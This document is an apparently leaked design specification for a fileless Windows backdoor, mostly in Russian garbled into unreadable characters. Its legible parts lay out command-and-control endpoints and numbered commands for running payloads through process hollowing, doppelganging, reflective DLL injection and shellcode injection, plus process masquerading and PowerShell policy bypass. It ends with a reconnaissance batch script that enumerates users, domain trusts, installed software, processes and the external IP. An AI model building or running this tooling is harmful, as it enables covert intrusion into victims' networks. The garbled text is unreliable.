����������� �������
����
����������� backdoor (������������� ������������ ����), �� ����������� ������
������ ����, ���������� ����������� �� ���������� �� ������� ����������,
�� ����������� �� ���������� ������ �� ������� ���� (fileless-���������)
� ���������� "���" � "������" - �����-��������.
����������
Backdoor ������ �������� �������� ������������:
*- ���������� � ������� (���������� ������������ �������)
- ��������� � ��������, ����������� � ������� � �������� �� ��� �������
- �� ������ �������� UAC
- �� ������ �������� ����������
- ������ ���������� ������� �������� �� ������������� �������� (emercoin dns, ���
�����, ����� � ���������� ������� ��� - ��� ����� ��� �����)
- �������� ����� ������, ���� �� ������ � ���������� ������������ �������
(inetcpl.cpl -> ���������� -> ��������� ������-�������)
- �������� � ��������� �� ������ ���� � �������: **
- ����� � ���������� ��
- ��� � ����� ����������
- �� ����������� ������ �������������� �����
(���������� ���������: �� ������������� ���� �� ����� ��������� - �� ������
�����, ��� �� ��������, ���� ��� ������ ������� ��������� - �� ������������� �����
� ������� �������� ����� �� ����)
- �� �����������
- �� ���������
- � ������ �������� ��� ��� (���� ��, �� �������� ������)
- ������ trusted ������� � ��������� �� ������
(���������� ���������: cmd /c net view /all | /c net view /all /domain | /c
nltest /domain_trusts /all_trusts + ������� ����� ��������� �����������
administrator, ��� ����������� � �����)
- ������� ������ �������
- ������ � ���������� ������� ������ �� ����������� ������������ (� ������ - ��
TCP)
- ����� ������� � ��������� .exe ��� .dll
- ������ ���� ������ �� ��������� ������� ��� ������������� ������� ��� ���������
(�.�. �������� �������� � ���������� ������� ������������ �� ����,
����� ������������� ���������� ���� �������� �� ������ ��������� ������).
- ����������� ����� ��� ������ � ���� .ru/��� - �������� �� �������; ����� ��������
�������
������� ���������.
*- �������� �� �������
0. ����� ���������
������ ������ ������������� �������� ������:
- ������ �� �������� � ���� ������, �� ����������� � ���� ���� (fileless)
- �������� � ������� �������������������� �����������
- ���������� ����� �� - Windows 7/Windows 2008 (��� R2)
- �������� ������� ������� - 32-������� ������, ������ ������ �������� ��� � 32-,
��� � � 64-�������� ��������� (������������ �������).
- 64-������� ������ ����� ������ � �������� ��������.
��� ����� ���� �������� ��� � ���� .exe, ��� � � ���� .dll (�� ����� ��������
������� �� ����������,
�.�. ������������� .dll �� ����� ����� ��� ����������� ������ .exe).
� ����� ������ ����� ����� � .dll - ������ DllMain(DLL_PROCESS_ATTACH)
1. ������������
������ ������ ���������� ����������������� ���������� ���������������.
����������� ������������ md5-��� �� ������ "����_�������%windir
%.��_���������.����_�������%windir\system32%.��_������_���_workgroup",
������ ������������ �� hex-�������������, � ������� 10-���� ������������� ���� �
���� �������� 128-������� �����.
- �� ����� ��� ������ �������������
- ��� ���� �� ������ ���� �������� ��� ������� �� ������ ������������� �������
- �� �� ������ ��������� �� ����
- �� ������ ���� ��������
���� � ���� ���� ������ �������� ������ � ���� ������ ����, �� ��� _��_���������_
�������� ������ � �������� (��.����).
1. ����� ���������
���� ����� ���� �� ��������� HTTP(S). �������� �������������� ��������� �����
������ ���������� (DNS, ICMP) � ���� ������� ���������� � ������ �������,
�� ���� - HTTP.
����� � HTTP-����� 200 �������� ��������; ��� ����, �� ������ 200 ���������
�������� �������.
������ ������ ����������� ��� ���� ������� �� ������ � ���� ��������� Cookie �
������ group � ��������� ������.
��� ���� ������� ���� � ��� ������������� ���������� � �������� (����� ���
���������� ������ �� ��������), �� ��������:
- ������ ��� ��������� �������
- ������ ��������� ����� ������� �� ��������� � �� ����������� ���������.
�������������, ���:
- ���� ��� ��������� ������� ����, �� ������ ���������� ������� ������ �����
������������ ���������
- ���� ��� ��������� ���������, ����� ����� ��� ���� � �� �������� ���� �����������
� �������.
4. ������ �������:
GET /%id%/2
0 NOP %time% - ��� ��������. ���� - ����� ������, �� ������� ������ ������� ��� ��
��������� ������� �� ������.
1 %time% �������� ��������� � �������. ���� - ����� ������, �� ������� ������
������� ��� �� ��������� ������� �� ������.
�������� time �����������.
* ��������� � ������� ����� ����� ��������� ����� ������� .cmd-������� (��������
12)
10 %runtype% %timeout% %mask_process% %URI% %cmdline% - ���������� � ������ .exe-
�����
10 4 [%mode% %cmdline%]
- %runtype% - 1 �� �������� ������� (CreateProcess; ����������� ���� ������������
����������)
2 �� ������� �������� process hollowing (����������� ���� ��� ��
���������� ��� � ������)
3 �� ������� �������� process doppelganging (����������� ���� ��� ��
���������� ��� � ������)
(�������� ������������� ������� Process Herpaderping)
4 ��������������: ��������� ���� ���������� ��������� ������ �
��������������.
���� ���� ������, ������ ��������� ������������� ����� �������
���������� (�� �� ��� ����� 0, ������� �� �������������)
%mode% - ����� �������:
0 - ��� ����� (��������� ������, ������� ��������� ���� ��� �
��������� ������)
1 - exe-������, ������ ��������: filename.exe %cmdline%
2 - dll-������, ������ ��������: rundll32 filename.dll,%cmdline%
3 - dll-������, ������ ��������: regsvr32 /s filename.dll %cmdline%
4 - js-������ (������ ������� ���� ����� ��������)
cmdline - ��������� ��������� ������ �������
�� mode=2 ������ �������� - �� �������-������� - ����� ����� � ������
5 ���� ����� �� ���� ��� �������. cmdline ������ ������ ���� ����
�������� ����.
- %timeout% - ������� ��������� �������, � ��������. 0 - �� ��������� ���������
������� (�������, ��� ������� ��������� ��� ������� �������)
���� ������� ������, ��� ������ �������� ��������� ������� � ������ ��� � ������
�� ��������� ���������� ��������.
��� ����, ��� �� ����� ��������� ������� �� ������ ����� ��������� �� ��������
��������� �������� (������ ����� ������� �� ������� �������� ������� � �����
�����������).
���� ������� �� ������, �� ����������� ������� �������� �������, ��� ������ ��
������� ���, � �� ����� ��������� ����� �������� ��� �����������.
���� ������� �� ��������� �� ��������� �������, ��� ��������� ������� � ��������
������ �� ������.
- %mask_process% - �� �������� �� ���������� process hollowing/process
doppelganging
0 - �� ������������
1 - notepad.exe
2 - explorer.exe
3 - svchost.exe
4 - cmd.exe
- %URI% - ����, ������ ������� ������� ���� (� ������������); ���� ������� �������
����, ��� ������� - � ����� �� ������� ��������� "could not download file from %uri
%"
� ��������� ������ 2 ���� �������� ����������� (����� � � ��������� ��������),
�������� ��������� � ���� GET-������.
- %cmdline% - �������� ������ �� ������� (�����������)
11 %runtype% %pid% %timeout% %URI% %cmdline% - ���������� � ������ .dll-�����
- %runtype% 0 - rundll ������������� ������ �������� rundll32.exe ��������
�������:
rundll32.exe dllname.dll,%cmdline%
1 - regsvr ������������� ������ �������� regsvr.exe �������� �������:
regsvr.exe dllname.dll %cmdline%
�������� ����� ����� dll ������ DllRegisterServer
2 - regsvr (silent) �� �� ��� � 1, ������ ������ ������������ �
"�����" ������, ������� �������: regsvr32.exe /s dllname.dll %cmdline%
3 - reflective injection � ������� %pid%.
3 � 4 ��������� ��
������������� ������������ ������� ������������ ��������
https://github.com/dismantl/ImprovedReflectiveDLLInjection
�������� ������� ���������� (bootstrap function, � ��������� �-�
ReflectiveLoader) ��������� ������ ���������� %cmdline.
4 - reflective injection � ����������� �������
- %pid% 0 �� ����������� (�� runtype 0 1 3)
�� 0 - ����� �������� �� ������������ ��������
12 %runtype% %timeout% [%cmdline%]\r\n%script% - ������ .bat-������� � �����������
- %runtype% - 1 ������ ������� ����� ����� (��.���������� � ������� 13 �� �������
�������)
2 ���� ������� �� ���� � ������ ����� CreateProcess
- %cmdline% - �������� ������ ������ ������� (�.�. ��, ��� ��������� � ����������
%1, %2 ��� � .bat-������ - ��� �� �������� ������ �������� cmd.exe!
�������� �������������
����� ������� �������� ����� ���������� ������ \r\n
��� ������� ������� � ������ �� ����, �� ����� �� �������� ���������������; �����
��������� ��������� ���� �� �������� �������
13 %runtype% %timeout% [%cmdline%]\r\n%script% - ������ powershell-������� �
�����������
- %runtype% - 1 ������ ������� ����� �����
2 ���� ������� �� ���� � ������ ����� CreateProcess
- %cmdline% - �������� ������ ������ ������� (�.�. ��, ��� ��������� � argv � .ps1-
������ - ��� �� �������� ������ �������� powershell.exe!
����� ������� �������� ����� ���������� ������ \r\n
� ��������� ������ 2 ����� ������� ��������� � ���� GET-������.
������������� ������ �������� �������:
runtype = 1
���������� ����� � ������������ ��������, ��� ���������� ���������� � STARTUPINFO
��� ������� powershell.exe, ����� ������ ������ � ���� �����.
Powershell ���������� ���:
powershell -
runtype = 2
powershell -executionpolicy bypass -file tmpscript.ps1 %cmdline%
��� ������� ������� � ������ �� ����, �� ����� �� �������� ���������������; �����
��������� ��������� ���� �� �������� �������
14 - reset. ����� ����������� ���������� �������. ���� ��������� ������� ��������
��������� (���� ���������� ��������� ��������),
�� ���������� ��� �������� � ������ ������ �� ����.
15 %pid% - ���������� �������� (TerminateProcess)
16 filename - ��������� ���� � ��������� �� ������
17 %hexcode% ������ ������������� ��������� ���� � ��������� ������������ ��������,
�������� ������� �������
https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/
SimpleShellcodeInjector.c
������ ����: AB CD EF 01 23 45 67 - 16-����� ������ � ������������ ��������,
������� �������, ��� ��������� ������, ����� ���������� 1 ����������.
������� �� �����������. ������������� ��� shell-��� �� ����������.
18 %timeout% ���������� � �������. �������������, ��� ��� ��������� �� ��� ������,
� ���������.
100 �������� �� �������.
������� ��������� ������ �� �������� ����, ������� ���������� ����������� �
�������.
5. ��������� ��������� ���������� �������
POST /%id%/3
���� ������ �������� ����� � �������� form/urlencoded.
������������ ������� �� ���������� �������.
��� ��������� ��������� � ����� �� ��� ���, ���� �� ����� ������� ���� ����� ��
������� (� ��� ����� ��������� - HTTP-���� 40*, 50*)
���� � ������� ���� ������� ��� ������� ��������, ��� ��������� ��������� ��������,
������ �� ��������� ��������� � 30 �����.
���� �� ��������� �����, ����� ������ ��� �� ��������.
pid=1234
stdout and stderr here
������� ��������� � �������� ���� ��� ����� �������; ���� �������� �� ��������� ��
������� ������ ����������� ����.
6. �������� ��������
POST /%id%/4
� ���� POST ���� ������������ ���������, ������������� XOR %id%
������ ��������� ��������� �� ����� ���������� (�� � ����� �� �����-���� ��������
��� ������ � �������).
�������, ����������
������ �����
- ���������� ���� � IP-�������, ���������� ����, �������, �������, ���������
����������, ��������� �������
(���������� ���������: ��� ��� ���������� ��������� ��� ��� ����������,
������������ ������� ������������)
- ������� � ���������� �� ���� ����
� ��� �����, �� ������ ������, ����� ����� �� ���� ��������� ���� (����� ��,
�������/���������� �����, ���)
- �������� ��� ����������� ������ (�� ����� ������������)
�� �������� ����:
- ����������� ������ ������� �� ���� (������������ ������������� ��������� ����)
- ���� ��������� ����������
- ��������� � ������� ��������� �������/�����
- ������� ���� (� ������������ � �������� ������ �� �����.�������)
- ������ ���� (������ ������� � ����� - ���������, ��� �������� ���������� �������
� �����-�������� �� ����� ������������,
������ �� ���� (������ 4))
� ������, ���� IP-����� ������� ������������� � ���� ���, ��� ������� �����
"���������" ������ ���� ��������� � ���������.
���� �������:
- ����� (����� ��������� � ������ ���������� � ������ ��)
- ��������
������� ������� ��������� ����������� �� ���������:
- ������ (� ������ ������)
- ������ (��� � ����� - �� ������ ������)
- ��������� IP-�������
����������
1. ��� �������� �������� IP-������
2. ��� DNS-������� ����� Emercoin
3. ��� �������� ������ ������������� ��������
4. ��� ������� ��������� ����� process hollowing/doppelganging
5. ��� DNS-������ �� TCP-����������
6. ��� ���������� �����
7. ��� ���������� ��������� �������
���� ������������
* ��� ������ ��� timeout = background run, ����� �� ������� �� �������� - �������
��������� � ���� � ������ �� ��� �� ����������.
��� ���������� ����� � ������ ����� ������.
3.3. Run .dll
TODO
3.4. Run .bat
3.4.1. ������ ����-������ �������� �������, �������� hostname, whoami, date /t
������� ������ ����������, � ����������� ��������� ������� ������ ���� ����� ������
���� �������.
3.4.2. �������� �������������� .bat-���� �� ���������� ������. ����������� ������
����� ��������� ��������� ����� ����� �� ����� ������.
������ ������ ����������, � ����������� ��������� ������� ������ ���� ����� ������
����� �������.
3.5. Run PowerShell
3.5.1. ������ ����-������ �������� �������, �������� $PSVersionTable.PSVersion
(������� ����� Powershell)
������� ������ ����������, � ����������� ��������� ������� ������ ���� ����� ������
���� �������.
3.5.2. �������� �������������� .ps1-���� �� ���������� ������. ����������� ������
����� ��������� ��������� ����� ����� �� ����� ������.
������ ������ ����������, � ����������� ��������� ������� ������ ���� ����� ������
����� �������.
3.6. Reset
����� ����������� ���� �������, ����� ��������� ���������� ����-���� �����������
(����� ����������� run .bat timeout 10000),
��� ����������� ���������� ������ �����.
����� ��������� Reset, ��������� ��������� ������� ������ ���� �������� ��� done,
��� ����� � ������ �������� �������.
3.7. Terminate Process
������� ������� ������� �� ��� ������ (pid)
�� ����� ����� ����������� �������-������ (�������� ��������� notepad.exe ������ �
���������� ��� ����� � ���������� �����).
����� ��������� ������� ������� ������ ����������.
3.8. Download File
������� ��������� ���� � ������� ������ (������ �� 10�)
����� ������ ������ ���� � ����� � �����.����.
����� ��������� ������� ���� ������ ���� �������� �� ���������, ������ ������
�������������� � ����������� ��������� �������.
3.9. Suicide
������� ������ ������ � ������� ������.
����� ������������ ������ ��� �� ������ �����������.
4. �����������.
����� ������������ ������ ��� ������ ��������� � �������.
5. �������.
�� ������ ���� �������� �� �� ������, �� �� ���.
6. ����������
6.1. ���� ������� ������ x86 �� ������ x64, �� ������ ����� ������ ��������� �� x64
������ ��� ��,
� ����� ��������� ������ x64 ����.
�������� ������� - ������ ������ ��������� ���� ����������� ��������� ����������.
6.2.1. ������� � ������ ������� ��� ���� QA (��� �������, ������� �������� ��
������ � ���������)
6.2.2. ������� �������� � ����� ������� ���� � �������, � ������� ������� �� ��
������, �� �� ���� ���������.
6.2.3. ����� � ������������ ������ � ������� ����� ���������. ����������: � �������
����� �� ��������� ����� ���� ��� �����.
6.2.4. �������� � ������ ����� ������ ������, ��������� ������ ������� ��
���������� ���� �����.
6.2.5. ������������� ������ ������. ��������� ������ ������� �� ������.
���� �� �����������
4. �������.
4.2. ������� 10. ��� ������� ������ �������� �� ������ ���������, � ��������
������� ����������� test32.exe.
��������� test32.exe ������� � stdout ����� "test" � ������ ���������� ����������.
�� ������ �������� ���� ����� � ��M.
����� ������ 10 %runtype% %timeout% %mask_process% %URI% %cmdline%.
4.3. ������� 11. ��� ������� ������ �������� �� ������ dll, � �������� �������
����������� TestDll32.dll.
������ Start �� TestDll32.dll ������� stdout ����� "test dll - start()". �� ������
�������� ���� ����� � ��M.
����� ������ 11 %timeout% %URI% %cmdline%
4.4.2. "12 60 cmd /c\r\ncd c:\\r\ndir" - ������ ������� ����� �������� bat-�����
������ ����� ��, ��� � ������� 10.
echo.
echo My Username:
whoami
echo.
echo Network Neighbourghoud:
net view /all
echo.
echo Domain Neighbourghoud:
net view /all /domain
echo.
echo Domain Trust:
nltest /domain_trusts /all_trusts
echo.
echo Installed Programs:
reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName"
/s
echo.
echo Installed Programs (wow64):
reg query hklm\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v
"DisplayName" /s
echo.
echo Installed Programs (current user):
reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName"
/s
echo.
echo Installed Programs (current user, wow64):
reg query hkcu\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v
"DisplayName" /s
echo.
echo Process List:
tasklist
echo.
echo External IP:
powershell -executionpolicy bypass -command "$Servers=
@('http://checkip.amazonaws.com','https://ipinfo.io/ip','http://api.ipify.org','htt
ps://myexternalip.com/raw','http://wtfismyip.com/text','http://ip.anysrc.net/
plain/clientip','http://api.ipify.org/?format=text','http://api.ip.sb/ip','http://
ident.me/ip'); $i=Get-Random -Minimum 0 -Maximum 8; Write-Host HTTP-DNS request via
$Servers[$i]; $ip=Invoke-WebRequest -UseBasicParsing -Uri $Servers[$i]; write-host
$ip.content;"